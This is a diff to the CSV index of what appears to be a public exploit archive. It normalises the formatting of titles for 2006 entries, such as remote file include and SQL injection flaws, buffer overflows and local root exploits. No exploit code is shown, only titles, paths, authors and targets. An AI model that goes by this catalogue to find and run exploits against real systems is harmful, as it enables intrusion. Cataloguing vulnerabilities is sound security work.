@@ -2023,9 +2023,9 @@ id,file,description,date,author,platform,type,port
 2327,platforms/php/webapps/2327.txt,"PhotoKorn Gallery <= 1.52 (dir_path) Remote File Include Vulnerabilities",2006-09-07,"Saudi Hackrz",php,webapps,0
 2328,platforms/windows/remote/2328.php,"RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Exploit",2006-09-08,rgod,windows,remote,80
 2329,platforms/php/webapps/2329.txt,"Somery <= 0.4.6 (skin_dir) Remote File Include Vulnerability",2006-09-08,basher13,php,webapps,0
-2330,platforms/solaris/local/2330.c,"X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/sparc)",2006-09-08,"RISE Security",solaris,local,0
-2331,platforms/solaris/local/2331.c,"X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/x86)",2006-09-08,"RISE Security",solaris,local,0
-2332,platforms/sco/local/2332.c,"X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (sco/x86)",2006-09-08,"RISE Security",sco,local,0
+2330,platforms/solaris/local/2330.c,"X11R6 <= 6.4 XKEYBOARD - Local Buffer Overflow Exploit (solaris/sparc)",2006-09-08,"RISE Security",solaris,local,0
+2331,platforms/solaris/local/2331.c,"X11R6 <= 6.4 XKEYBOARD - Local Buffer Overflow Exploit (solaris/x86)",2006-09-08,"RISE Security",solaris,local,0
+2332,platforms/sco/local/2332.c,"X11R6 <= 6.4 XKEYBOARD - Local Buffer Overflow Exploit (sco/x86)",2006-09-08,"RISE Security",sco,local,0
 2333,platforms/php/webapps/2333.php,"CCleague Pro <= 1.0.1RC1 (Cookie) Remote Code Execution Exploit",2006-09-08,Kacper,php,webapps,0
 2334,platforms/windows/dos/2334.py,"Multithreaded TFTP <= 1.1 (Long Get Request) Denial of Service Exploit",2006-09-08,n00b,windows,dos,0
 2335,platforms/php/webapps/2335.txt,"MyABraCaDaWeb <= 1.0.3 (base) Remote File Include Vulnerabilities",2006-09-08,ddoshomo,php,webapps,0
@@ -2044,7 +2044,7 @@ id,file,description,date,author,platform,type,port
 2348,platforms/php/webapps/2348.pl,"phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit",2006-09-11,ShAnKaR,php,webapps,0
 2349,platforms/php/webapps/2349.txt,"phpBB XS <= 0.58 (functions.php) Remote File Include Vulnerability",2006-09-12,AzzCoder,php,webapps,0
 2350,platforms/php/webapps/2350.txt,"p4CMS <= 1.05 (abs_pfad) Remote File Include Vulnerability",2006-09-12,SHiKaA,php,webapps,0
-2351,platforms/php/webapps/2351.txt,"Popper <= v1.41-r2 (form) Remote File Include Vulnerability",2006-09-12,SHiKaA,php,webapps,0
+2351,platforms/php/webapps/2351.txt,"Popper <= 1.41-r2 - (form) Remote File Include Vulnerability",2006-09-12,SHiKaA,php,webapps,0
 2352,platforms/php/webapps/2352.txt,"webSPELL <= 4.01.01 Database Backup Download Vulnerability",2006-09-12,Trex,php,webapps,0
 2353,platforms/php/webapps/2353.txt,"Vitrax Pre-modded <= 1.0.6-r3 Remote File Include Vulnerability",2006-09-12,CeNGiZ-HaN,php,webapps,0
 2354,platforms/php/webapps/2354.txt,"Signkorn Guestbook <= 1.3 (dir_path) Remote File Include Vulnerability",2006-09-12,SHiKaA,php,webapps,0
@@ -2053,7 +2053,7 @@ id,file,description,date,author,platform,type,port
 2357,platforms/php/webapps/2357.txt,"phpunity.postcard (gallery_path) Remote File Include Vulnerability",2006-09-13,Rivertam,php,webapps,0
 2358,platforms/windows/remote/2358.c,"MS Internet Explorer COM Object Remote Heap Overflow Exploit",2006-09-13,nop,windows,remote,0
 2359,platforms/php/webapps/2359.txt,"Downstat <= 1.8 (art) Remote File Include Vulnerability",2006-09-13,SilenZ,php,webapps,0
-2360,platforms/solaris/local/2360.c,"X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/sparc)",2006-09-13,"Marco Ivaldi",solaris,local,0
+2360,platforms/solaris/local/2360.c,"X11R6 <= 6.4 XKEYBOARD - Local Buffer Overflow Exploit (solaris/sparc)",2006-09-13,"Marco Ivaldi",solaris,local,0
 2361,platforms/php/webapps/2361.txt,"Shadowed Portal <= 5.599 (root) Remote File Include Vulnerability",2006-09-13,mad_hacker,php,webapps,0
 2362,platforms/asp/webapps/2362.txt,"TualBLOG 1.0 (icerikno) Remote SQL Injection Vulnerability",2006-09-13,RMx,asp,webapps,0
 2363,platforms/php/webapps/2363.tt,"Magic News Pro <= 1.0.3 (script_path) Remote File Include Vulnerability",2006-09-13,"Saudi Hackrz",php,webapps,0
@@ -2064,7 +2064,7 @@ id,file,description,date,author,platform,type,port
 2368,platforms/php/webapps/2368.txt,"TeamCal Pro <= 2.8.001 (app_root) Remote file Include Vulnerability",2006-09-14,PSYCH@,php,webapps,0
 2369,platforms/php/webapps/2369.txt,"PhotoPost <= 4.6 (PP_PATH) Remote File Include Vulnerability",2006-09-15,"Saudi Hackrz",php,webapps,0
 2370,platforms/php/webapps/2370.php,"Limbo CMS <= 1.0.4.2L (com_contact) Remote Code Execution Exploit",2006-09-15,rgod,php,webapps,0
-2371,platforms/asp/webapps/2371.txt,"Haberx 1.02 <= 1.1 (tr) Remote SQL Injection Vulnerability",2006-09-15,"Fix TR",asp,webapps,0
+2371,platforms/asp/webapps/2371.txt,"Haberx 1.02 <= 1.1- (tr) Remote SQL Injection Vulnerability",2006-09-15,"Fix TR",asp,webapps,0
 2372,platforms/php/webapps/2372.txt,"BolinOS <= 4.5.5 (gBRootPath) Remote File Include Vulnerability",2006-09-15,"Mehmet Ince",php,webapps,0
 2373,platforms/php/webapps/2373.txt,"PHP DocWriter <= 0.3 (script) Remote File Include Exploit",2006-09-15,Kacper,php,webapps,0
 2374,platforms/php/webapps/2374.pl,"Site@School <= 2.4.02 Advisory / Remote File Upload Exploit",2006-09-15,simo64,php,webapps,0
@@ -2080,10 +2080,10 @@ id,file,description,date,author,platform,type,port
 2384,platforms/asp/webapps/2384.txt,"Q-Shop 3.5 (browse.asp) Remote SQL Injection Vulnerability",2006-09-17,ajann,asp,webapps,0
 2385,platforms/asp/webapps/2385.txt,"Techno Dreams FAQ Manager 1.0 Remote SQL Injection Vulnerability",2006-09-17,ajann,asp,webapps,0
 2386,platforms/asp/webapps/2386.txt,"Techno Dreams Articles & Papers 2.0 Remote SQL Injection Vulnerability",2006-09-17,ajann,asp,webapps,0
-2387,platforms/asp/webapps/2387.txt,"Charon Cart v3 (Review.asp) Remote SQL Injection Vulnerability",2006-09-17,ajann,asp,webapps,0
+2387,platforms/asp/webapps/2387.txt,"Charon Cart 3.0 - (Review.asp) Remote SQL Injection Vulnerability",2006-09-17,ajann,asp,webapps,0
 2388,platforms/php/webapps/2388.txt,"CMtextS <= 1.0 (users_logins/admin.txt) Credentials Disclosure Vuln",2006-09-17,Kacper,php,webapps,0
 2389,platforms/php/webapps/2389.pl,"AlstraSoft E-Friends <= 4.85 Remote Command Execution Exploit",2006-09-18,Kw3[R]Ln,php,webapps,0
-2390,platforms/php/webapps/2390.txt,"PNphpBB2 <= 1.2g (phpbb_root_path) Remote File Include Vulnerability",2006-09-18,AzzCoder,php,webapps,0
+2390,platforms/php/webapps/2390.txt,"PNphpBB2 <= 1.2g - (phpbb_root_path) Remote File Include Vulnerability",2006-09-18,AzzCoder,php,webapps,0
 2391,platforms/php/webapps/2391.php,"Exponent CMS <= 0.96.3 (view) Remote Command Execution Exploit",2006-09-19,rgod,php,webapps,0
 2392,platforms/php/webapps/2392.txt,"Pie Cart Pro (Home_Path) Remote File Include Vulnerability",2006-09-19,"Saudi Hackrz",php,webapps,0
 2393,platforms/php/webapps/2393.txt,"Pie Cart Pro (Inc_Dir) Remote File Include Vulnerabilities",2006-09-19,SnIpEr_SA,php,webapps,0
@@ -2099,7 +2099,7 @@ id,file,description,date,author,platform,type,port
 2403,platforms/windows/remote/2403.c,"MS Internet Explorer (VML) Remote Buffer Overflow Exploit",2006-09-20,nop,windows,remote,0
 2404,platforms/linux/local/2404.c,"Dr.Web Antivirus 4.33 (LHA long directory name) Local Overflow Exploit",2006-09-20,Guay-Leroux,linux,local,0
 2405,platforms/php/webapps/2405.txt,"AllMyGuests <= 0.4.1 (cfg_serverpath) Remote File Include Vulnerability",2006-09-20,Br@Him,php,webapps,0
-2406,platforms/php/webapps/2406.php,"exV2 <= 2.0.4.3 (sort) Remote SQL Injection Exploit",2006-09-21,rgod,php,webapps,0
+2406,platforms/php/webapps/2406.php,"exV2 <= 2.0.4.3 - (sort) Remote SQL Injection Exploit",2006-09-21,rgod,php,webapps,0
 2407,platforms/php/webapps/2407.txt,"pNews <= 1.1.0 (nbs) Remote File Include Vulnerability",2006-09-21,CvIr.System,php,webapps,0
 2408,platforms/windows/remote/2408.pl,"MS Internet Explorer (VML) Remote Buffer Overflow Exploit (XP SP1)",2006-09-21,"Trirat Puttaraksa",windows,remote,0
 2409,platforms/php/webapps/2409.txt,"PHPartenaire 1.0 (dix.php3) Remote File Include Vulnerability",2006-09-21,DaDIsS,php,webapps,0
@@ -2108,7 +2108,7 @@ id,file,description,date,author,platform,type,port
 2412,platforms/windows/local/2412.c,"MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)",2006-09-21,SoBeIt,windows,local,0
 2413,platforms/php/webapps/2413.txt,"SolidState <= 0.4 Multiple Remote File Include Vulnerabilities",2006-09-21,Kacper,php,webapps,0
 2414,platforms/php/webapps/2414.txt,"Wili-CMS <= 0.1.1 (include/xss/full path) Remote Vulnerabilities",2006-09-21,"HACKERS PAL",php,webapps,0
-2415,platforms/php/webapps/2415.php,"exV2 <= 2.0.4.3 extract() Remote Command Execution Exploit",2006-09-22,rgod,php,webapps,0
+2415,platforms/php/webapps/2415.php,"exV2 <= 2.0.4.3 - extract() Remote Command Execution Exploit",2006-09-22,rgod,php,webapps,0
 2416,platforms/asp/webapps/2416.txt,"xweblog <= 2.1 (kategori.asp) Remote SQL Injection Vulnerability",2006-09-22,Muhacir,asp,webapps,0
 2417,platforms/php/webapps/2417.php,"Eskolar CMS 0.9.0.0 (index.php) Remote SQL Injection Exploit",2006-09-22,"HACKERS PAL",php,webapps,0
 2418,platforms/php/webapps/2418.php,"e-Vision CMS 2.0 (all_users.php) Remote SQL Injection Exploit",2006-09-22,"HACKERS PAL",php,webapps,0
@@ -2128,7 +2128,7 @@ id,file,description,date,author,platform,type,port
 2433,platforms/php/webapps/2433.txt,"BrudaGB <= 1.1 (admin/index.php) Remote File Include Vulnerability",2006-09-25,SHiKaA,php,webapps,0
 2434,platforms/php/webapps/2434.txt,"faceStones personal <= 2.0.42 (fs_form_links.php) File Include Vuln",2006-09-25,SHiKaA,php,webapps,0
 2435,platforms/php/webapps/2435.txt,"WEB//NEWS <= 1.4 (parser.php) Remote File Include Vulnerability",2006-09-26,ThE-WoLf-KsA,php,webapps,0
-2436,platforms/php/webapps/2436.txt,"A-Blog V2 (menu.php) Remote File Include Vulnerability",2006-09-26,Drago84,php,webapps,0
+2436,platforms/php/webapps/2436.txt,"A-Blog 2.0 - (menu.php) Remote File Include Vulnerability",2006-09-26,Drago84,php,webapps,0
 2437,platforms/php/webapps/2437.php,"paBugs <= 2.0 Beta 3 (class.mysql.php) Remote File Include Exploit",2006-09-26,Kacper,php,webapps,0
 2438,platforms/php/webapps/2438.txt,"Kietu? <= 4.0.0b2 (hit.php) Remote File Include Vulnerability",2006-09-26,D_7J,php,webapps,0
 2439,platforms/php/webapps/2439.txt,"Newswriter SW <= 1.42 (editfunc.inc.php) File Include Vulnerability",2006-09-27,"Silahsiz Kuvvetler",php,webapps,0
@@ -2141,7 +2141,7 @@ id,file,description,date,author,platform,type,port
 2446,platforms/php/webapps/2446.php,"PPA Gallery <= 1.0 (functions.inc.php) Remote File Include Exploit",2006-09-28,Kacper,php,webapps,0
 2447,platforms/php/webapps/2447.php,"KGB 1.87 (Local Inclusion) Remote Code Execution Exploit",2006-09-28,Kacper,php,webapps,0
 2448,platforms/windows/remote/2448.html,"MS Internet Explorer WebViewFolderIcon setSlice() Exploit (html)",2006-09-28,jamikazu,windows,remote,0
-2449,platforms/php/webapps/2449.txt,"Les Visiteurs (Visitors) <= 2.0 (config.inc.php)  File Include Vulnerability",2006-09-28,D_7J,php,webapps,0
+2449,platforms/php/webapps/2449.txt,"Les Visiteurs (Visitors) <= 2.0 (config.inc.php) File Include Vulnerability",2006-09-28,D_7J,php,webapps,0
 2450,platforms/php/webapps/2450.txt,"TagIt! Tagboard <= 2.1.b b2 (index.php) Remote File Include Vulnerability",2006-09-28,Kernel-32,php,webapps,0
 2451,platforms/php/webapps/2451.txt,"phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability",2006-09-28,Kernel-32,php,webapps,0
 2452,platforms/php/webapps/2452.txt,"phpSecurePages <= 0.28b (secure.php) Remote File Include Vulnerability",2006-09-28,D_7J,php,webapps,0
@@ -2151,7 +2151,7 @@ id,file,description,date,author,platform,type,port
 2456,platforms/php/webapps/2456.php,"PHP Krazy Image Hosting 0.7a (display.php) SQL Injection Exploit",2006-09-29,Trex,php,webapps,0
 2457,platforms/php/webapps/2457.php,"UBB.threads <= 6.5.1.1 (doeditconfig.php) Code Execution Exploit",2006-09-29,"HACKERS PAL",php,webapps,0
 2458,platforms/windows/remote/2458.pl,"MS Internet Explorer WebViewFolderIcon setSlice() Exploit (pl)",2006-09-29,"YAG KOHHA",windows,remote,0
-2459,platforms/php/webapps/2459.txt,"Forum82 <= 2.5.2b (repertorylevel) Multiple File Include Vulnerabilities",2006-09-29,"Silahsiz Kuvvetler",php,webapps,0
+2459,platforms/php/webapps/2459.txt,"Forum82 <= 2.5.2b - (repertorylevel) Multiple File Include Vulnerabilities",2006-09-29,"Silahsiz Kuvvetler",php,webapps,0
 2460,platforms/windows/remote/2460.c,"MS Internet Explorer WebViewFolderIcon setSlice() Exploit (c)",2006-09-29,LukeHack,windows,remote,0
 2461,platforms/php/webapps/2461.txt,"VAMP Webmail <= 2.0beta1 (yesno.phtml) Remote Include Vulnerability",2006-09-30,Drago84,php,webapps,0
 2462,platforms/php/webapps/2462.txt,"phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities",2006-09-30,"Mehmet Ince",php,webapps,0
@@ -2186,8 +2186,8 @@ id,file,description,date,author,platform,type,port
 2491,platforms/php/webapps/2491.pl,"phpPC <= 1.03 RC1 (/lib/functions.inc.php) Remote File Include Exploit",2006-10-08,ThE-WoLf-KsA,php,webapps,0
 2492,platforms/linux/local/2492.s,"Infecting Elf Binaries to Gain Local Root Exploit",2006-10-08,Sha0,linux,local,0
 2493,platforms/php/webapps/2493.pl,"docmint <= 2.0 (engine/require.php) Remote File Inclusion Exploit",2006-10-09,K-159,php,webapps,0
-2494,platforms/php/webapps/2494.txt,"OpenDock Easy Doc <=1.4 (doc_directory) File Include Vulnerabilities",2006-10-09,the_day,php,webapps,0
-2495,platforms/php/webapps/2495.txt,"OpenDock Easy Blog <=1.4 (doc_directory) File Include Vulnerabilities",2006-10-09,the_day,php,webapps,0
+2494,platforms/php/webapps/2494.txt,"OpenDock Easy Doc <= 1.4 - (doc_directory) File Include Vulnerabilities",2006-10-09,the_day,php,webapps,0
+2495,platforms/php/webapps/2495.txt,"OpenDock Easy Blog <= 1.4 - (doc_directory) File Include Vulnerabilities",2006-10-09,the_day,php,webapps,0
 2496,platforms/php/webapps/2496.txt,"WebYep <= 1.1.9 (webyep_sIncludePath) File Include Vulnerabilities",2006-10-09,the_day,php,webapps,0
 2497,platforms/php/webapps/2497.txt,"OpenDock Easy Gallery <= 1.4 (doc_directory) File Include Vulnerabilities",2006-10-09,the_day,php,webapps,0
 2498,platforms/php/webapps/2498.php,"Flatnuke <= 2.5.8 file() Priv Escalation / Code Execution Exploit",2006-10-10,rgod,php,webapps,0
@@ -2195,7 +2195,7 @@ id,file,description,date,author,platform,type,port
 2500,platforms/php/webapps/2500.pl,"phpMyAgenda <= 3.1 (templates/header.php3) Local File Include Exploit",2006-10-10,"Nima Salehi",php,webapps,0
 2501,platforms/php/webapps/2501.txt,"TribunaLibre 3.12 Beta (ftag.php) Remote File Include Vulnerability",2006-10-10,DarkFig,php,webapps,0
 2502,platforms/php/webapps/2502.txt,"registroTL (main.php) Remote File Include Vulnerability",2006-10-10,DarkFig,php,webapps,0
-2503,platforms/php/webapps/2503.txt,"compteur v2 (param_editor.php) Remote File Include Vulnerability",2006-10-10,DarkFig,php,webapps,0
+2503,platforms/php/webapps/2503.txt,"compteur 2.0 - (param_editor.php) Remote File Include Vulnerability",2006-10-10,DarkFig,php,webapps,0
 2504,platforms/php/webapps/2504.txt,"eboli (index.php) Remote File Include Vulnerability",2006-10-10,DarkFig,php,webapps,0
 2505,platforms/php/webapps/2505.txt,"JASmine <= 0.0.2 (index.php) Remote File Include Vulnerability",2006-10-10,DarkFig,php,webapps,0
 2506,platforms/php/webapps/2506.txt,"Foafgen <= 0.3 (redir.php) Local Source Disclosure Vulnerability",2006-10-10,DarkFig,php,webapps,0
@@ -2211,11 +2211,11 @@ id,file,description,date,author,platform,type,port
 2516,platforms/php/webapps/2516.pl,"CommunityPortals 1.0 (import-archive.php) File Include Vulnerability",2006-10-11,"Nima Salehi",php,webapps,0
 2517,platforms/php/webapps/2517.pl,"PHP News Reader <= 2.6.4 (phpbb.inc.php) Remote File Include Exploit",2006-10-11,"Nima Salehi",php,webapps,0
 2518,platforms/php/webapps/2518.txt,"SH-News <= 3.1 (scriptpath) Multiple Remote File Include Vulnerabilities",2006-10-11,v1per-haCker,php,webapps,0
-2519,platforms/php/webapps/2519.txt,"Minichat v6 (ftag.php) Remote File Include Vulnerability",2006-10-11,Zickox,php,webapps,0
+2519,platforms/php/webapps/2519.txt,"Minichat 6.0 - (ftag.php) Remote File Include Vulnerability",2006-10-11,Zickox,php,webapps,0
 2520,platforms/php/webapps/2520.txt,"Softerra PHP Developer Library <= 1.5.3 File Include Vulnerabilities",2006-10-12,MP,php,webapps,0
 2521,platforms/php/webapps/2521.txt,"Download-Engine <= 1.4.2 (spaw) Remote File Include Vulnerability",2006-10-12,v1per-haCker,php,webapps,0
-2522,platforms/php/webapps/2522.txt,"phpBB Journals System Mod 1.0.2 [RC2] Remote  File Include Exploit",2006-10-12,"Nima Salehi",php,webapps,0
-2523,platforms/windows/dos/2523.pl,"Microsoft Office 2003 PPT Local Buffer Overflow  PoC",2006-10-12,Nanika,windows,dos,0
+2522,platforms/php/webapps/2522.txt,"phpBB Journals System Mod 1.0.2 [RC2] Remote File Include Exploit",2006-10-12,"Nima Salehi",php,webapps,0
+2523,platforms/windows/dos/2523.pl,"Microsoft Office 2003 PPT Local Buffer Overflow PoC",2006-10-12,Nanika,windows,dos,0
 2524,platforms/bsd/dos/2524.c,"FreeBSD 5.4 / 6.0 (ptrace PT_LWPINFO) Local Denial of Service Exploit",2006-10-12,kokanin,bsd,dos,0
 2525,platforms/php/webapps/2525.pl,"phpBB Insert User Mod <= 0.1.2 Remote File Include Exploit",2006-10-12,"Nima Salehi",php,webapps,0
 2526,platforms/php/webapps/2526.txt,"phpht Topsites (common.php) Remote File Include Vulnerability",2006-10-12,"Mehmet Ince",php,webapps,0
@@ -2263,11 +2263,11 @@ id,file,description,date,author,platform,type,port
 2568,platforms/php/webapps/2568.txt,"webSPELL <= 4.01.01 (getsquad) Remote SQL Injection Exploit",2006-10-15,Kiba,php,webapps,0
 2569,platforms/solaris/local/2569.sh,"Solaris 10 libnspr LD_PRELOAD Arbitrary File Creation Local Root Exploit",2006-10-16,"Marco Ivaldi",solaris,local,0
 2570,platforms/php/webapps/2570.txt,"OpenDock FullCore <= 4.4 Remote File Include Vulnerabilities",2006-10-16,Matdhule,php,webapps,0
-2571,platforms/windows/dos/2571.pl,"Xfire <= 1.6.4 (Malicious Request) Remote Denial of Service Exploit (pl)",2006-10-16,n00b,windows,dos,0
+2571,platforms/windows/dos/2571.pl,"Xfire <= 1.6.4 - Remote Denial of Service Exploit (pl)",2006-10-16,n00b,windows,dos,0
 2572,platforms/php/webapps/2572.txt,"Osprey <= 1.0 GetRecord.php Remote File Include Vulnerability",2006-10-16,Kw3[R]Ln,php,webapps,0
 2573,platforms/php/webapps/2573.php,"Comdev One Admin 4.1 adminfoot.php Remote Code Execution Exploit",2006-10-16,w4ck1ng,php,webapps,0
 2574,platforms/php/webapps/2574.php,"Simplog <= 0.9.3.1 comments.php Remote SQL Injection Exploit",2006-10-16,w4ck1ng,php,webapps,0
-2575,platforms/php/webapps/2575.php,"Boonex Dolphin <= 5.2 index.php  Remote Code Execution Exploit",2006-10-16,w4ck1ng,php,webapps,0
+2575,platforms/php/webapps/2575.php,"Boonex Dolphin <= 5.2 index.php Remote Code Execution Exploit",2006-10-16,w4ck1ng,php,webapps,0
 2576,platforms/php/webapps/2576.txt,"Specimen Image Database (client.php) Remote File Include Vulnerability",2006-10-16,Kw3[R]Ln,php,webapps,0
 2577,platforms/php/webapps/2577.txt,"P-News <= 1.16 Remote File Include Vulnerability",2006-10-16,vegas78,php,webapps,0
 2578,platforms/php/webapps/2578.txt,"phpMyManga <= 0.8.1 (template.php) Multiple File Include Vulnerabilities",2006-10-16,nuffsaid,php,webapps,0
@@ -2279,7 +2279,7 @@ id,file,description,date,author,platform,type,port
 2584,platforms/php/webapps/2584.pl,"PHPRecipeBook <= 2.35 (g_rb_basedir) Remote File Include Exploit",2006-10-17,r0ut3r,php,webapps,0
 2585,platforms/php/webapps/2585.txt,"PHPmybibli <= 3.0.1 Multiple Remote File Inclusion Vulnerabilities",2006-10-17,the_day,php,webapps,0
 2586,platforms/multiple/dos/2586.pl,"Clam AntiVirus <= 0.88.4 CHM Chunk Name Length DoS PoC",2006-10-17,"Damian Put",multiple,dos,0
-2587,platforms/multiple/dos/2587.txt,"Clam AntiVirus <= 0.88.4 (rebuildpe) Remote  Heap Overflow PoC",2006-10-17,"Damian Put",multiple,dos,0
+2587,platforms/multiple/dos/2587.txt,"Clam AntiVirus <= 0.88.4 (rebuildpe) Remote Heap Overflow PoC",2006-10-17,"Damian Put",multiple,dos,0
 2588,platforms/php/webapps/2588.txt,"Easynews <= 4.4.1 (admin.php) Authentication Bypass Vulnerability",2006-10-17,nuffsaid,php,webapps,0
 2589,platforms/php/webapps/2589.txt,"Brim <= 1.2.1 (renderer) Multiple Remote File Include Vulnerabilities",2006-10-17,mdx,php,webapps,0
 2590,platforms/php/webapps/2590.txt,"phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability",2006-10-18,nuffsaid,php,webapps,0
@@ -2323,7 +2323,7 @@ id,file,description,date,author,platform,type,port
 2631,platforms/php/webapps/2631.php,"Ascended Guestbook <= 1.0.0 (embedded.php) File Include Exploit",2006-10-24,Kacper,php,webapps,0
 2632,platforms/php/webapps/2632.pl,"CMS Faethon <= 2.0 (mainpath) Remote File Include Exploit",2006-10-24,r0ut3r,php,webapps,0
 2633,platforms/hp-ux/local/2633.c,"HP-UX 11i (swpackage) Stack Overflow Local Root Exploit",2006-10-24,prdelka,hp-ux,local,0
-2634,platforms/hp-ux/local/2634.c,"HP-UX 11i (swmodify) Stack Overflow Local Root  Exploit",2006-10-24,prdelka,hp-ux,local,0
+2634,platforms/hp-ux/local/2634.c,"HP-UX 11i (swmodify) Stack Overflow Local Root Exploit",2006-10-24,prdelka,hp-ux,local,0
 2635,platforms/hp-ux/local/2635.c,"HP-UX 11i (swask) Format String Local Root Exploit",2006-10-24,prdelka,hp-ux,local,0
 2636,platforms/hp-ux/local/2636.c,"HP-UX 11i (LIBC TZ enviroment variable) Local Root Exploit",2006-10-24,prdelka,hp-ux,local,0
 2637,platforms/windows/remote/2637.c,"AEP SmartGate 4.3b (GET) Arbitrary File Download Exploit",2006-10-24,prdelka,windows,remote,143
@@ -2399,7 +2399,7 @@ id,file,description,date,author,platform,type,port
 2708,platforms/windows/dos/2708.c,"Nullsoft Winamp <= 5.3 (Ultravox-Max-Msg) Heap Overflow DoS PoC",2006-11-03,cocoruder,windows,dos,0
 2709,platforms/php/webapps/2709.txt,"Creasito E-Commerce Content Manager (admin) Authentication Bypass",2006-11-03,SlimTim10,php,webapps,0
 2710,platforms/php/webapps/2710.txt,"Ariadne <= 2.4 store_config[code] Remote File Include Vulnerabilities",2006-11-04,"Mehmet Ince",php,webapps,0
-2711,platforms/php/webapps/2711.php,"e107 <= 0.75 (e107language_e107cookie) Local File Include Exploit",2006-11-04,Kacper,php,webapps,0
+2711,platforms/php/webapps/2711.php,"e107 <= 0.75 - (e107language_e107cookie) Local File Include Exploit",2006-11-04,Kacper,php,webapps,0
 2712,platforms/php/webapps/2712.php,"MDPro <= 1.0.76 (Cookie: PNSVlang) Local File Include Exploit",2006-11-04,Kacper,php,webapps,0
 2713,platforms/php/webapps/2713.txt,"Drake CMS < 0.2.3 ALPHA rev.916Remote File Inclusion Vulnerability",2006-11-04,GregStar,php,webapps,0
 2714,platforms/php/webapps/2714.pl,"PHPKIT <= 1.6.1R2 (search_user) Remote SQL Injection Exploit",2006-11-04,x23,php,webapps,0
@@ -2430,8 +2430,8 @@ id,file,description,date,author,platform,type,port
 2740,platforms/php/webapps/2740.txt,"vBlog / C12 0.1 (cfgProgDir) Remote File Include Vulnerabilities",2006-11-08,DeltahackingTEAM,php,webapps,0
 2741,platforms/php/webapps/2741.txt,"IrayoBlog 0.2.4 (inc/irayofuncs.php) Remote File Include Vulnerability",2006-11-08,DeltahackingTEAM,php,webapps,0
 2742,platforms/php/webapps/2742.txt,"DodosMail <= 2.0.1 (dodosmail.php) Remote File Include Vulnerability",2006-11-08,"Cold Zero",php,webapps,0
-2743,platforms/windows/remote/2743.html,"MS Internet Explorer 6/7 (XML Core Services)  Remote Code Exec Exploit",2006-11-08,n/a,windows,remote,0
-2744,platforms/php/webapps/2744.txt,"LetterIt v2 (inc/session.php) Remote File Include Vulnerability",2006-11-09,v1per-haCker,php,webapps,0
+2743,platforms/windows/remote/2743.html,"MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit",2006-11-08,n/a,windows,remote,0
+2744,platforms/php/webapps/2744.txt,"LetterIt 2.0 - (inc/session.php) Remote File Include Vulnerability",2006-11-09,v1per-haCker,php,webapps,0
 2745,platforms/php/webapps/2745.txt,"gtcatalog <= 0.9.1 (index.php) Remote File Include Vulnerability",2006-11-09,v1per-haCker,php,webapps,0
 2746,platforms/asp/webapps/2746.pl,"AspPired2Poll <= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit",2006-11-09,ajann,asp,webapps,0
 2747,platforms/php/webapps/2747.txt,"MyAlbum <= 3.02 (language.inc.php) Remote File Inclusion Vulnerability",2006-11-09,"Silahsiz Kuvvetler",php,webapps,0
@@ -2460,7 +2460,7 @@ id,file,description,date,author,platform,type,port
 2770,platforms/windows/remote/2770.rb,"Broadcom Wireless Driver Probe Response SSID Overflow Exploit (meta)",2006-11-13,"H D Moore",windows,remote,0
 2771,platforms/windows/remote/2771.rb,"D-Link DWL-G132 Wireless Driver Beacon Rates Overflow Exploit (meta)",2006-11-13,"H D Moore",windows,remote,0
 2772,platforms/asp/webapps/2772.htm,"Online Event Registration <= 2.0 (save_profile.asp) Pass Change Exploit",2006-11-13,ajann,asp,webapps,0
-2773,platforms/asp/webapps/2773.txt,"Estate Agent Manager <= v1.3 (default.asp) Login Bypass Vulnerability",2006-11-13,ajann,asp,webapps,0
+2773,platforms/asp/webapps/2773.txt,"Estate Agent Manager <= 1.3 - (default.asp) Login Bypass Vulnerability",2006-11-13,ajann,asp,webapps,0
 2774,platforms/asp/webapps/2774.txt,"Property Pro 1.0 (vir_Login.asp) Remote Login Bypass Vulnerability",2006-11-13,ajann,asp,webapps,0
 2775,platforms/php/webapps/2775.txt,"Phpjobscheduler 3.0 (installed_config_file) File Include Vulnerabilities",2006-11-13,Firewall,php,webapps,0
 2776,platforms/php/webapps/2776.txt,"ContentNow 1.30 (upload/xss) Multiple Remote Vulnerabilities",2006-11-14,Timq,php,webapps,0
@@ -2538,7 +2538,7 @@ id,file,description,date,author,platform,type,port
 2859,platforms/php/webapps/2859.php,"Discuz! 4.x SQL Injection / Admin Credentials Disclosure Exploit",2006-11-28,rgod,php,webapps,0
 2860,platforms/windows/dos/2860.c,"Quintessential Player <= 4.50.1.82 (Playlist) Denial of Service PoC",2006-11-28,"Greg Linares",windows,dos,0
 2861,platforms/windows/dos/2861.c,"Songbird Media Player <= 0.2 Format String Denial of Service PoC",2006-11-28,"Greg Linares",windows,dos,0
-2862,platforms/php/webapps/2862.txt,"P-News v2 (user.txt) Remote Password Disclosure Vulnerability",2006-11-28,Lu7k,php,webapps,0
+2862,platforms/php/webapps/2862.txt,"P-News 2.0 - (user.txt) Remote Password Disclosure Vulnerability",2006-11-28,Lu7k,php,webapps,0
 2863,platforms/php/webapps/2863.php,"Kubix <= 0.7 Multiple Remote Vulnerabilities Exploit",2006-11-29,BlackHawk,php,webapps,0
 2864,platforms/php/webapps/2864.txt,"b2evolution 1.8.5 - 1.9b (import-mt.php) Remote File Include Vulnerability",2006-11-29,tarkus,php,webapps,0
 2865,platforms/windows/remote/2865.rb,"3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Exploit",2006-11-30,cthulhu,windows,remote,69
@@ -2548,11 +2548,11 @@ id,file,description,date,author,platform,type,port
 2870,platforms/windows/remote/2870.rb,"VUPlayer <= 2.44 (M3U UNC Name) Buffer Overflow Exploit (meta)",2006-11-30,"Greg Linares",windows,remote,0
 2871,platforms/php/webapps/2871.txt,"LDU <= 8.x (polls.php) Remote SQL Injection Vulnerability",2006-11-30,ajann,php,webapps,0
